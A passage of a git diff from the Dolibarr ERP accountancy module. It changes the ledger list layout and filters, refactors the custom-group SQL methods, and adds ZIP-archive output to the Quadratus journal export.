{ @@ -686,7 +712,7 @@ if ($massaction == 'preunletteringauto') { include DOL_DOCUMENT_ROOT.'/core/tpl/massactions_pre.tpl.php'; $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; -$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')); // This also change content of $arrayfields if ($massactionbutton && $contextpage != 'poslist') { $selectedfields .= $form->showCheckAddButtons('checkforselect', 1); } @@ -705,7 +731,7 @@ if ($type == 'sub') { $moreforfilter = ''; -// Accountancy account +// Search on accountancy custom groups or account $moreforfilter .= '
      '; $moreforfilter .= $langs->trans('AccountAccounting').': '; $moreforfilter .= '
      '; @@ -723,6 +749,13 @@ if ($type == 'sub') { $moreforfilter .= '
      '; $moreforfilter .= '
      '; +$moreforfilter .= '
      '; +$moreforfilter .= $langs->trans('AccountingCategory').': '; +$moreforfilter .= '
      '; +$moreforfilter .= $formaccounting->select_accounting_category($search_account_category, 'search_account_category', 1, 0, 0, 0); +$moreforfilter .= '
      '; +$moreforfilter .= '
      '; + $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters); // Note that $action and $object may have been modified by hook if (empty($reshook)) { @@ -740,7 +773,13 @@ print ''; // Filters lines print ''; - +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} // Movement number if (!empty($arrayfields['t.piece_num']['checked'])) { print ''; @@ -819,15 +858,20 @@ $reshook = $hookmanager->executeHooks('printFieldListOption', $parameters); // N print $hookmanager->resPrint; // Action column -print ''; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} print "\n"; print ''; +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); +} if (!empty($arrayfields['t.piece_num']['checked'])) { - print_liste_field_titre($arrayfields['t.piece_num']['label'], $_SERVER['PHP_SELF'], "t.piece_num", "", $param, '', $sortfield, $sortorder); + print_liste_field_titre($arrayfields['t.piece_num']['label'], $_SERVER['PHP_SELF'], "t.piece_num", "", $param, '', $sortfield, $sortorder, 'tdoverflowmax80imp '); } if (!empty($arrayfields['t.code_journal']['checked'])) { print_liste_field_titre($arrayfields['t.code_journal']['label'], $_SERVER['PHP_SELF'], "t.code_journal", "", $param, '', $sortfield, $sortorder, 'center '); @@ -863,7 +907,9 @@ if (!empty($arrayfields['t.import_key']['checked'])) { $parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder); $reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; -print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); +} print "\n"; $displayed_account_number = null; // Start with undefined to be able to distinguish with empty @@ -905,6 +951,10 @@ while ($i < min($num, $limit)) { if (!empty($arrayfields['t.date_export']['checked'])) { $colspanend++; } if (!empty($arrayfields['t.date_validating']['checked'])) { $colspanend++; } if (!empty($arrayfields['t.lettering_code']['checked'])) { $colspanend++; } + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + $colspan++; + $colspanend--; + } // Is it a break ? if ($accountg != $displayed_account_number || !isset($displayed_account_number)) { @@ -916,8 +966,8 @@ while ($i < min($num, $limit)) { } else { print ''; } - print ''; - print ''; + print ''; + print ''; print ''; print ''; // Show balance of last shown account @@ -926,13 +976,13 @@ while ($i < min($num, $limit)) { print ''; if ($balance > 0) { print ''; print ''; } else { print ''; print ''; } print ''; @@ -944,7 +994,9 @@ while ($i < min($num, $limit)) { print ''; - + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } // Piece number if (!empty($arrayfields['t.piece_num']['checked'])) { print ''; + print ''; if (!$i) { $totalarray['nbfield']++; } @@ -1090,7 +1156,7 @@ while ($i < min($num, $limit)) { // Amount debit if (!empty($arrayfields['t.debit']['checked'])) { - print ''; + print ''; if (!$i) { $totalarray['nbfield']++; } @@ -1102,7 +1168,7 @@ while ($i < min($num, $limit)) { // Amount credit if (!empty($arrayfields['t.credit']['checked'])) { - print ''; + print ''; if (!$i) { $totalarray['nbfield']++; } @@ -1149,17 +1215,19 @@ while ($i < min($num, $limit)) { print $hookmanager->resPrint; // Action column - print ''; + if (!$i) { + $totalarray['nbfield']++; } - print ''; - } - print ''; - if (!$i) { - $totalarray['nbfield']++; } // Comptabilise le sous-total @@ -1174,8 +1242,8 @@ while ($i < min($num, $limit)) { if ($num > 0 && $colspan > 0) { print ''; print ''; - print ''; - print ''; + print ''; + print ''; print ''; print ''; // Show balance of last shown account @@ -1184,22 +1252,46 @@ if ($num > 0 && $colspan > 0) { print ''; if ($balance > 0) { print ''; print ''; } else { print ''; print ''; } print ''; print ''; } + +// Clean total values to round them +if (!empty($totalarray['val']['totaldebit'])) { + $totalarray['val']['totaldebit'] = price2num($totalarray['val']['totaldebit'], 'MT'); +} +if (!empty($totalarray['val']['totalcredit'])) { + $totalarray['val']['totalcredit'] = price2num($totalarray['val']['totalcredit'], 'MT'); +} + + // Show total line include DOL_DOCUMENT_ROOT.'/core/tpl/list_print_total.tpl.php'; +// If no record found +if ($num == 0) { + $colspan = 1; + foreach ($arrayfields as $key => $val) { + if (!empty($val['checked'])) { + $colspan++; + } + } + print ''; +} + +$parameters = array('arrayfields'=>$arrayfields, 'sql'=>$sql); +$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; print "
      '; + $searchpicto = $form->showFilterButtons('left'); + print $searchpicto; + print ''; -$searchpicto = $form->showFilterButtons(); -print $searchpicto; -print ''; + $searchpicto = $form->showFilterButtons(); + print $searchpicto; + print '
      ' . $langs->trans("TotalForAccount") . ' ' . length_accountg($displayed_account_number) . ':'.price($sous_total_debit).''.price($sous_total_credit).''.price(price2num($sous_total_debit, 'MT')).''.price(price2num($sous_total_credit, 'MT')).'
      '.$langs->trans("Balance").':'; - print price($sous_total_debit - $sous_total_credit); + print price(price2num($sous_total_debit - $sous_total_credit, 'MT')); print ''; - print price($sous_total_credit - $sous_total_debit); + print price(price2num($sous_total_credit - $sous_total_debit, 'MT')); print ''; if ($type == 'sub') { if ($line->subledger_account != "" && $line->subledger_account != '-1') { - print $line->subledger_label . ' : ' . length_accounta($line->subledger_account); + print empty($line->subledger_label) ? ''.$langs->trans("Unknown").'' : $line->subledger_label; + print ' : '; + print length_accounta($line->subledger_account); } else { // Should not happen: subledger account must be null or a non empty value print '' . $langs->trans("Unknown"); @@ -976,7 +1028,21 @@ while ($i < min($num, $limit)) { } print '
      '; + if (($massactionbutton || $massaction) && $contextpage != 'poslist') { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($line->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print ''; @@ -994,7 +1060,7 @@ while ($i < min($num, $limit)) { $accountingjournal = new AccountingJournal($db); $result = $accountingjournal->fetch('', $line->code_journal); $journaltoshow = (($result > 0) ? $accountingjournal->getNomUrl(0, 0, 0, '', 0) : $line->code_journal); - print ''.$journaltoshow.''.$journaltoshow.''.($line->debit ? price($line->debit) : '').''.($line->debit != 0 ? price($line->debit) : '').''.($line->credit ? price($line->credit) : '').''.($line->credit != 0 ? price($line->credit) : '').''; - if (($massactionbutton || $massaction) && $contextpage != 'poslist') { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($line->id, $arrayofselected)) { - $selected = 1; + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (($massactionbutton || $massaction) && $contextpage != 'poslist') { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($line->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      '.$langs->trans("TotalForAccount").' '.$accountg.':'.price($sous_total_debit).''.price($sous_total_credit).''.price(price2num($sous_total_debit, 'MT')).''.price(price2num($sous_total_credit, 'MT')).'
      '.$langs->trans("Balance").':'; - print price($sous_total_debit - $sous_total_credit); + print price(price2num($sous_total_debit - $sous_total_credit, 'MT')); print ''; - print price($sous_total_credit - $sous_total_debit); + print price(price2num($sous_total_credit - $sous_total_debit, 'MT')); print '
      '.$langs->trans("NoRecordFound").'
      "; print ''; diff --git a/htdocs/accountancy/class/accountancycategory.class.php b/htdocs/accountancy/class/accountancycategory.class.php index 7ae48c749c2..5c13c2efba8 100644 --- a/htdocs/accountancy/class/accountancycategory.class.php +++ b/htdocs/accountancy/class/accountancycategory.class.php @@ -353,7 +353,7 @@ class AccountancyCategory // extends CommonObject $sql .= " formula=".(isset($this->formula) ? "'".$this->db->escape($this->formula)."'" : "null").","; $sql .= " position=".(isset($this->position) ? $this->position : "null").","; $sql .= " fk_country=".(isset($this->fk_country) ? $this->fk_country : "null").","; - $sql .= " active=".(isset($this->active) ? $this->active : "null").""; + $sql .= " active=".(isset($this->active) ? $this->active : "null"); $sql .= " WHERE rowid=".((int) $this->id); $this->db->begin(); @@ -446,62 +446,12 @@ class AccountancyCategory // extends CommonObject } else { $this->error = "Error ".$this->db->lasterror(); $this->errors[] = $this->error; - dol_syslog(__METHOD__." ".implode(','.$this->errors), LOG_ERR); + dol_syslog(__METHOD__." ".implode(',', $this->errors), LOG_ERR); return -1; } } - /** - * Function to fill ->lines_cptbk with accounting account used (into bookkeeping) and not yet into a custom group - * - * @param int $id Id of custom group - * @return int <0 if KO, 0 if not found, >0 if OK - */ - /* - public function getCptBK($id) - { - global $conf; - - $sql = "SELECT DISTINCT t.numero_compte, t.label_operation, t.doc_ref"; - $sql .= " FROM ".MAIN_DB_PREFIX."accounting_bookkeeping as t"; - $sql .= " WHERE t.numero_compte NOT IN ("; // account not into a custom group - $sql .= " SELECT t.account_number"; - $sql .= " FROM ".MAIN_DB_PREFIX."accounting_account as t"; - $sql .= " WHERE t.fk_accounting_category = ".((int) $id)." AND t.entity = ".$conf->entity.")"; - $sql .= " AND t.numero_compte IN ("; // account into current chart of account - $sql .= " SELECT DISTINCT aa.account_number"; - $sql .= " FROM ".MAIN_DB_PREFIX."accounting_account as aa"; - $sql .= " INNER JOIN ".MAIN_DB_PREFIX."accounting_system as asy ON aa.fk_pcg_version = asy.pcg_version"; - $sql .= " AND asy.rowid = ".((int) $conf->global->CHARTOFACCOUNTS); - $sql .= " AND aa.active = 1"; - $sql .= " AND aa.entity = ".$conf->entity.")"; - $sql .= " GROUP BY t.numero_compte, t.label_operation, t.doc_ref"; - $sql .= " ORDER BY t.numero_compte"; - - $this->lines_cptbk = array(); - - dol_syslog(__METHOD__, LOG_DEBUG); - $resql = $this->db->query($sql); - if ($resql) { - $num = $this->db->num_rows($resql); - if ($num) { - while ($obj = $this->db->fetch_object($resql)) { - $this->lines_cptbk[] = $obj; - } - } - - return $num; - } else { - $this->error = "Error ".$this->db->lasterror(); - $this->errors[] = $this->error; - dol_syslog(__METHOD__." ".implode(','.$this->errors), LOG_ERR); - - return -1; - } - } - */ - /** * Function to fill ->lines_cptbk with accounting account (defined in chart of account) and not yet into a custom group * @@ -538,7 +488,7 @@ class AccountancyCategory // extends CommonObject } else { $this->error = "Error ".$this->db->lasterror(); $this->errors[] = $this->error; - dol_syslog(__METHOD__." ".implode(','.$this->errors), LOG_ERR); + dol_syslog(__METHOD__." ".implode(',', $this->errors), LOG_ERR); return -1; } @@ -655,60 +605,6 @@ class AccountancyCategory // extends CommonObject } } - /** - * Function to know all custom groupd from an accounting account - * - * @return array|integer Result in table (array), -1 if KO - */ - public function getCatsCpts() - { - global $mysoc, $conf; - - if (empty($mysoc->country_id)) { - dol_print_error('', 'Call to select_accounting_account with mysoc country not yet defined'); - exit(); - } - - $sql = "SELECT t.rowid, t.account_number, t.label as account_label, cat.code, cat.position, cat.label as name_cat, cat.sens "; - $sql .= " FROM ".MAIN_DB_PREFIX."accounting_account as t, ".MAIN_DB_PREFIX."c_accounting_category as cat"; - $sql .= " WHERE t.fk_accounting_category IN ( SELECT c.rowid "; - $sql .= " FROM ".MAIN_DB_PREFIX."c_accounting_category as c"; - $sql .= " WHERE c.active = 1"; - $sql .= " AND c.entity = ".$conf->entity; - $sql .= " AND (c.fk_country = ".((int) $mysoc->country_id)." OR c.fk_country = 0)"; - $sql .= " AND cat.rowid = t.fk_accounting_category"; - $sql .= " AND t.entity = ".$conf->entity; - $sql .= " ORDER BY cat.position ASC"; - - $resql = $this->db->query($sql); - if ($resql) { - $i = 0; - $obj = ''; - $num = $this->db->num_rows($resql); - $data = array(); - if ($num) { - while ($obj = $this->db->fetch_object($resql)) { - $name_cat = $obj->name_cat; - $data[$name_cat][$i] = array( - 'id' => $obj->rowid, - 'code' => $obj->code, - 'position' => $obj->position, - 'account_number' => $obj->account_number, - 'account_label' => $obj->account_label, - 'sens' => $obj->sens - ); - $i++; - } - } - return $data; - } else { - $this->error = "Error ".$this->db->lasterror(); - dol_syslog(__METHOD__." ".$this->error, LOG_ERR); - - return -1; - } - } - /** * Function to show result of an accounting account from the ledger with a direction and a period * @@ -728,22 +624,31 @@ class AccountancyCategory // extends CommonObject $this->sdc = 0; $this->sdcpermonth = array(); + if (is_array($cpt)) { + $listofaccount = ''; + foreach ($cpt as $cptcursor) { + if (! is_null($cptcursor)) { + if ($listofaccount) { + $listofaccount .= ","; + } + $listofaccount .= "'".$cptcursor."'"; + } + } + if (empty($listofaccount)) { + // List of account is empty, so we do no try sql request, we can say result is empty. + return 0; + } + } + $sql = "SELECT SUM(t.debit) as debit, SUM(t.credit) as credit"; if (is_array($cpt)) { $sql .= ", t.numero_compte as accountancy_account"; } $sql .= " FROM ".MAIN_DB_PREFIX."accounting_bookkeeping as t"; //if (in_array($this->db->type, array('mysql', 'mysqli'))) $sql.=' USE INDEX idx_accounting_bookkeeping_doc_date'; - $sql .= " WHERE t.entity = ".$conf->entity; + $sql .= " WHERE t.entity = ".((int) $conf->entity); if (is_array($cpt)) { - $listofaccount = ''; - foreach ($cpt as $cptcursor) { - if ($listofaccount) { - $listofaccount .= ","; - } - $listofaccount .= "'".$cptcursor."'"; - } - $sql .= " AND t.numero_compte IN (".$this->db->sanitize($listofaccount).")"; + $sql .= " AND t.numero_compte IN (".$this->db->sanitize($listofaccount, 1).")"; } else { $sql .= " AND t.numero_compte = '".$this->db->escape($cpt)."'"; } @@ -759,22 +664,28 @@ class AccountancyCategory // extends CommonObject if (is_array($cpt)) { $sql .= " GROUP BY t.numero_compte"; } - //print $sql; $resql = $this->db->query($sql); if ($resql) { $num = $this->db->num_rows($resql); if ($num) { - $obj = $this->db->fetch_object($resql); - if ($sens == 1) { - $this->sdc = $obj->debit - $obj->credit; - } else { - $this->sdc = $obj->credit - $obj->debit; - } - if (is_array($cpt)) { - $this->sdcperaccount[$obj->accountancy_account] = $this->sdc; + $i = 0; + while ($i < $num) { + $obj = $this->db->fetch_object($resql); + if ($obj) { + if ($sens == 1) { + $this->sdc = $obj->debit - $obj->credit; + } else { + $this->sdc = $obj->credit - $obj->debit; + } + if (is_array($cpt)) { + $this->sdcperaccount[$obj->accountancy_account] = $this->sdc; + } + } + $i++; } } + return $num; } else { $this->error = "Error ".$this->db->lasterror(); @@ -784,12 +695,75 @@ class AccountancyCategory // extends CommonObject } } + /** + * Function to get an array of all active custom groups (llx_c_accunting_categories) with their accounts from the chart of account (ll_accounting_acount) + * + * @param int $catid Custom group ID + * @return array|integer Result in table (array), -1 if KO + * @see getCats(), getCptsCat() + */ + public function getCatsCpts($catid = 0) + { + global $mysoc, $conf; + + if (empty($mysoc->country_id)) { + $this->error = "Error ".$this->db->lasterror(); + dol_syslog(__METHOD__." ".$this->error, LOG_ERR); + return -1; + } + + $sql = "SELECT t.rowid, t.account_number, t.label as account_label,"; + $sql .= " cat.code, cat.position, cat.label as name_cat, cat.sens, cat.category_type, cat.formula"; + $sql .= " FROM ".MAIN_DB_PREFIX."accounting_account as t, ".MAIN_DB_PREFIX."c_accounting_category as cat"; + $sql .= " WHERE t.fk_accounting_category IN (SELECT c.rowid"; + $sql .= " FROM ".MAIN_DB_PREFIX."c_accounting_category as c"; + $sql .= " WHERE c.active = 1"; + $sql .= " AND c.entity = ".$conf->entity; + $sql .= " AND (c.fk_country = ".((int) $mysoc->country_id)." OR c.fk_country = 0)"; + $sql .= " AND cat.rowid = t.fk_accounting_category"; + $sql .= " AND t.entity = ".$conf->entity; + if ($catid > 0) { + $sql .= " AND cat.rowid = ".((int) $catid); + } + $sql .= " ORDER BY cat.position ASC"; + + $resql = $this->db->query($sql); + if ($resql) { + $obj = ''; + $num = $this->db->num_rows($resql); + $data = array(); + if ($num) { + while ($obj = $this->db->fetch_object($resql)) { + $name_cat = $obj->name_cat; + $data[$name_cat][$obj->rowid] = array( + 'id' => $obj->rowid, + 'code' => $obj->code, + 'label' => $obj->label, + 'position' => $obj->position, + 'category_type' => $obj->category_type, + 'formula' => $obj->formula, + 'sens' => $obj->sens, + 'account_number' => $obj->account_number, + 'account_label' => $obj->account_label + ); + } + } + return $data; + } else { + $this->error = "Error ".$this->db->lasterror(); + dol_syslog(__METHOD__." ".$this->error, LOG_ERR); + return -1; + } + } + /** * Return list of custom groups. + * For list + detail of accounting account, see getCatsCpt() * * @param int $categorytype -1=All, 0=Only non computed groups, 1=Only computed groups * @param int $active 1= active, 0=not active * @return array|int Array of groups or -1 if error + * @see getCatsCpts(), getCptsCat() */ public function getCats($categorytype = -1, $active = 1) { @@ -824,9 +798,10 @@ class AccountancyCategory // extends CommonObject 'rowid' => $obj->rowid, 'code' => $obj->code, 'label' => $obj->label, - 'formula' => $obj->formula, 'position' => $obj->position, 'category_type' => $obj->category_type, + 'formula' => $obj->formula, + 'sens' => $obj->sens, 'bc' => $obj->sens ); $i++; @@ -844,12 +819,15 @@ class AccountancyCategory // extends CommonObject /** - * Get all accounting account of a custom group (or a list of custom groups). + * Get all accounting account of a given custom group (or a list of custom groups). * You must choose between first parameter (personalized group) or the second (free criteria filter) * * @param int $cat_id Id if personalized accounting group/category - * @param string $predefinedgroupwhere Sql criteria filter to select accounting accounts. This value must not come from an input of a user. + * @param string $predefinedgroupwhere Sql criteria filter to select accounting accounts. This value must be sanitized and not come from an input of a user. + * Example: "pcg_type = 'EXPENSE' AND fk_pcg_version = 'xx'" + * Example: "fk_accounting_category = 99" * @return array|int Array of accounting accounts or -1 if error + * @see getCats(), getCatsCpts() */ public function getCptsCat($cat_id, $predefinedgroupwhere = '') { @@ -861,20 +839,29 @@ class AccountancyCategory // extends CommonObject exit(); } + $pcgverid = $conf->global->CHARTOFACCOUNTS; + $pcgvercode = dol_getIdFromCode($this->db, $pcgverid, 'accounting_system', 'rowid', 'pcg_version'); + if (empty($pcgvercode)) { + $pcgvercode = $pcgverid; + } + if (!empty($cat_id)) { $sql = "SELECT t.rowid, t.account_number, t.label as account_label"; $sql .= " FROM ".MAIN_DB_PREFIX."accounting_account as t"; $sql .= " WHERE t.fk_accounting_category = ".((int) $cat_id); $sql .= " AND t.entity = ".$conf->entity; + $sql .= " AND t.active = 1"; + $sql .= " AND t.fk_pcg_version = '".$this->db->escape($pcgvercode)."'"; $sql .= " ORDER BY t.account_number"; } else { $sql = "SELECT t.rowid, t.account_number, t.label as account_label"; $sql .= " FROM ".MAIN_DB_PREFIX."accounting_account as t"; $sql .= " WHERE ".$predefinedgroupwhere; $sql .= " AND t.entity = ".$conf->entity; + $sql .= ' AND t.active = 1'; + $sql .= " AND t.fk_pcg_version = '".$this->db->escape($pcgvercode)."'"; $sql .= " ORDER BY t.account_number"; } - //echo $sql; $resql = $this->db->query($sql); if ($resql) { diff --git a/htdocs/accountancy/class/accountancyexport.class.php b/htdocs/accountancy/class/accountancyexport.class.php index 3c45315ffa9..8c21b070d9f 100644 --- a/htdocs/accountancy/class/accountancyexport.class.php +++ b/htdocs/accountancy/class/accountancyexport.class.php @@ -5,13 +5,15 @@ * Copyright (C) 2015 Florian Henry * Copyright (C) 2015 Raphaël Doursenaud * Copyright (C) 2016 Pierre-Henry Favre - * Copyright (C) 2016-2021 Alexandre Spangaro + * Copyright (C) 2016-2023 Alexandre Spangaro + * Copyright (C) 2022 Lionel Vessiller * Copyright (C) 2013-2017 Olivier Geffroy * Copyright (C) 2017 Elarifr. Ari Elbaz * Copyright (C) 2017-2019 Frédéric France * Copyright (C) 2017 André Schild * Copyright (C) 2020 Guillaume Alexandre * Copyright (C) 2022 Joachim Kueter + * Copyright (C) 2022 Progiseize * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -35,7 +37,7 @@ require_once DOL_DOCUMENT_ROOT.'/core/lib/functions.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; -require_once DOL_DOCUMENT_ROOT.'/core/class/hookmanager.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; /** @@ -200,7 +202,7 @@ class AccountancyExport 'ACCOUNTING_EXPORT_FORMAT' => empty($conf->global->ACCOUNTING_EXPORT_FORMAT) ? 'txt' : $conf->global->ACCOUNTING_EXPORT_FORMAT, 'ACCOUNTING_EXPORT_SEPARATORCSV' => empty($conf->global->ACCOUNTING_EXPORT_SEPARATORCSV) ? ',' : $conf->global->ACCOUNTING_EXPORT_SEPARATORCSV, 'ACCOUNTING_EXPORT_ENDLINE' => empty($conf->global->ACCOUNTING_EXPORT_ENDLINE) ? 1 : $conf->global->ACCOUNTING_EXPORT_ENDLINE, - 'ACCOUNTING_EXPORT_DATE' => empty($conf->global->ACCOUNTING_EXPORT_DATE) ? '%d%m%Y' : $conf->global->ACCOUNTING_EXPORT_DATE, + 'ACCOUNTING_EXPORT_DATE' => getDolGlobalString('ACCOUNTING_EXPORT_DATE', '%Y-%m-%d'), ), self::$EXPORT_TYPE_CEGID => array( 'label' => $langs->trans('Modelcsv_CEGID'), @@ -313,9 +315,10 @@ class AccountancyExport * * @param array $TData Array with data * @param int $formatexportset Id of export format - * @return void + * @param int $withAttachment [=0] Not add files or 1 to have attached in an archive (ex : Quadratus) + * @return int <0 if KO, >0 OK */ - public function export(&$TData, $formatexportset) + public function export(&$TData, $formatexportset, $withAttachment = 0) { global $conf, $langs; global $search_date_end; // Used into /accountancy/tpl/export_journal.tpl.php @@ -325,8 +328,44 @@ class AccountancyExport $type_export = 'general_ledger'; global $db; // The tpl file use $db + $completefilename = ''; + $exportFile = null; + $exportFileName = ''; + $exportFilePath = ''; + $archiveFileList = array(); + if ($withAttachment == 1) { + // PHP ZIP extension must be enabled + if (!extension_loaded('zip')) { + $langs->load('install'); + $this->errors[] = $langs->trans('ErrorPHPDoesNotSupport', 'ZIP'); + return -1; + } + } else { + $mimetype = $this->getMimeType($formatexportset); + top_httphead($mimetype, 1); + } include DOL_DOCUMENT_ROOT.'/accountancy/tpl/export_journal.tpl.php'; + if ($withAttachment == 1 && !empty($completefilename)) { + // create export file + $tmpDir = !empty($conf->accounting->multidir_temp[$conf->entity]) ? $conf->accounting->multidir_temp[$conf->entity] : $conf->accounting->dir_temp; + $exportFileFullName = $completefilename; + $exportFileBaseName = basename($exportFileFullName); + $exportFileName = pathinfo($exportFileBaseName, PATHINFO_FILENAME); + $exportFilePath = $tmpDir.'/'.$exportFileFullName; + $exportFile = fopen($exportFilePath, 'w'); + if (!$exportFile) { + $this->errors[] = $langs->trans('ErrorFileNotFound', $exportFilePath); + return -1; + } + $archiveFileList[0] = array( + 'path' => $exportFilePath, + 'name' => $exportFileFullName, + ); + // archive name and path + $archiveFullName = $exportFileName.'.zip'; + $archivePath = $tmpDir.'/'.$archiveFullName; + } switch ($formatexportset) { case self::$EXPORT_TYPE_CONFIGURABLE: @@ -345,7 +384,7 @@ class AccountancyExport $this->exportCiel($TData); break; case self::$EXPORT_TYPE_QUADRATUS: - $this->exportQuadratus($TData); + $archiveFileList = $this->exportQuadratus($TData, $exportFile, $archiveFileList, $withAttachment); break; case self::$EXPORT_TYPE_WINFIC: $this->exportWinfic($TData); @@ -399,6 +438,69 @@ class AccountancyExport } break; } + + // create and download export file or archive + if ($withAttachment == 1) { + $error = 0; + + // close export file + if ($exportFile) { + fclose($exportFile); + } + + if (!empty($archiveFullName) && !empty($archivePath) && !empty($archiveFileList)) { + // archive files + $downloadFileMimeType = 'application/zip'; + $downloadFileFullName = $archiveFullName; + $downloadFilePath = $archivePath; + + // create archive + $archive = new ZipArchive(); + $res = $archive->open($archivePath, ZipArchive::OVERWRITE | ZipArchive::CREATE); + if ($res !== true) { + $error++; + $this->errors[] = $langs->trans('ErrorFileNotFound', $archivePath); + } + if (!$error) { + // add files + foreach ($archiveFileList as $archiveFileArr) { + $res = $archive->addFile($archiveFileArr['path'], $archiveFileArr['name']); + if (!$res) { + $error++; + $this->errors[] = $langs->trans('ErrorArchiveAddFile', $archiveFileArr['name']); + break; + } + } + } + if (!$error) { + // close archive + $archive->close(); + } + } elseif (!empty($exportFileFullName) && !empty($exportFilePath)) { + // only one file to download + $downloadFileMimeType = 'text/csv'; + $downloadFileFullName = $exportFileFullName; + $downloadFilePath = $exportFilePath; + } + + if (!$error) { + // download export file + if (!empty($downloadFileMimeType) && !empty($downloadFileFullName) && !empty($downloadFilePath)) { + header('Content-Type: '.$downloadFileMimeType); + header('Content-Disposition: attachment; filename='.$downloadFileFullName); + header('Cache-Control: Public, must-revalidate'); + header('Pragma: public'); + header('Content-Length: '.dol_filesize($downloadFilePath)); + readfileLowMemory($downloadFilePath); + } + } + + if ($error) { + return -1; + } + } + + return 1; } @@ -444,14 +546,14 @@ class AccountancyExport print $date.$separator; print $line->piece_num.$separator; print length_accountg($line->numero_compte).$separator; - print ''.$separator; + print $separator; print $line->label_operation.$separator; print $date.$separator; if ($line->sens == 'D') { print price($line->debit).$separator; - print ''.$separator; + print $separator; } elseif ($line->sens == 'C') { - print ''.$separator; + print $separator; print price($line->credit).$separator; } print $line->doc_ref.$separator; @@ -579,15 +681,18 @@ class AccountancyExport /** * Export format : Quadratus (Format ASCII) * Format since 2015 compatible QuadraCOMPTA - * Last review for this format : 2021/09/13 Alexandre Spangaro (aspangaro@open-dsi.fr) + * Last review for this format : 2023/01/28 Alexandre Spangaro (aspangaro@open-dsi.fr) * * Help : https://docplayer.fr/20769649-Fichier-d-entree-ascii-dans-quadracompta.html * In QuadraCompta | Use menu : "Outils" > "Suivi des dossiers" > "Import ASCII(Compta)" * - * @param array $TData data - * @return void + * @param array $TData Data + * @param resource $exportFile [=null] File resource to export or print if null + * @param array $archiveFileList [=array()] Archive file list : array of ['path', 'name'] + * @param bool $withAttachment [=0] Not add files or 1 to have attached in an archive + * @return array Archive file list : array of ['path', 'name'] */ - public function exportQuadratus(&$TData) + public function exportQuadratus(&$TData, $exportFile = null, $archiveFileList = array(), $withAttachment = 0) { global $conf, $db; @@ -597,6 +702,14 @@ class AccountancyExport // $date_ecriture = dol_print_date(dol_now(), $conf->global->ACCOUNTING_EXPORT_DATE); // format must be ddmmyy // $date_ecriture = dol_print_date(time(), $conf->global->ACCOUNTING_EXPORT_DATE); // format must be ddmmyy foreach ($TData as $data) { + // Clean some data + $data->doc_ref = dol_string_unaccent($data->doc_ref); + $data->label_operation = dol_string_unaccent($data->label_operation); + $data->numero_compte = dol_string_unaccent($data->numero_compte); + $data->label_compte = dol_string_unaccent($data->label_compte); + $data->subledger_account = dol_string_unaccent($data->subledger_account); + $data->subledger_label = dol_string_unaccent($data->subledger_label); + $code_compta = $data->numero_compte; if (!empty($data->subledger_account)) { $code_compta = $data->subledger_account; @@ -628,16 +741,20 @@ class AccountancyExport if ($data->doc_type == 'customer_invoice') { $Tab['type_compte'] = 'C'; } elseif ($data->doc_type == 'supplier_invoice') { - $Tab['coll_compte'] = 'F'; + $Tab['type_compte'] = 'F'; } else { - $Tab['coll_compte'] = 'G'; + $Tab['type_compte'] = 'G'; } $Tab['filler3'] = str_repeat(' ', 235); $Tab['end_line'] = $end_line; - print implode($Tab); + if ($exportFile) { + fwrite($exportFile, implode($Tab)); + } else { + print implode($Tab); + } } $Tab = array(); @@ -651,7 +768,7 @@ class AccountancyExport //$Tab['date_ecriture'] = $date_ecriture; $Tab['date_ecriture'] = dol_print_date($data->doc_date, '%d%m%y'); $Tab['filler'] = ' '; - $Tab['libelle_ecriture'] = str_pad(self::trunc(dol_string_unaccent($data->doc_ref).' '.dol_string_unaccent($data->label_operation), 20), 20); + $Tab['libelle_ecriture'] = str_pad(self::trunc($data->doc_ref.' '.$data->label_operation, 20), 20); // Credit invoice - invert sens /* @@ -701,19 +818,70 @@ class AccountancyExport // TODO: we should filter more than only accent to avoid wrong line size // TODO: remove invoice number doc_ref in libelle, // TODO: we should offer an option for customer to build the libelle using invoice number / name / date in accounting software - //$Tab['libelle_ecriture2'] = str_pad(self::trunc(dol_string_unaccent($data->doc_ref) . ' ' . dol_string_unaccent($data->label_operation), 30), 30); - $Tab['libelle_ecriture2'] = str_pad(self::trunc(dol_string_unaccent($data->label_operation), 30), 30); + //$Tab['libelle_ecriture2'] = 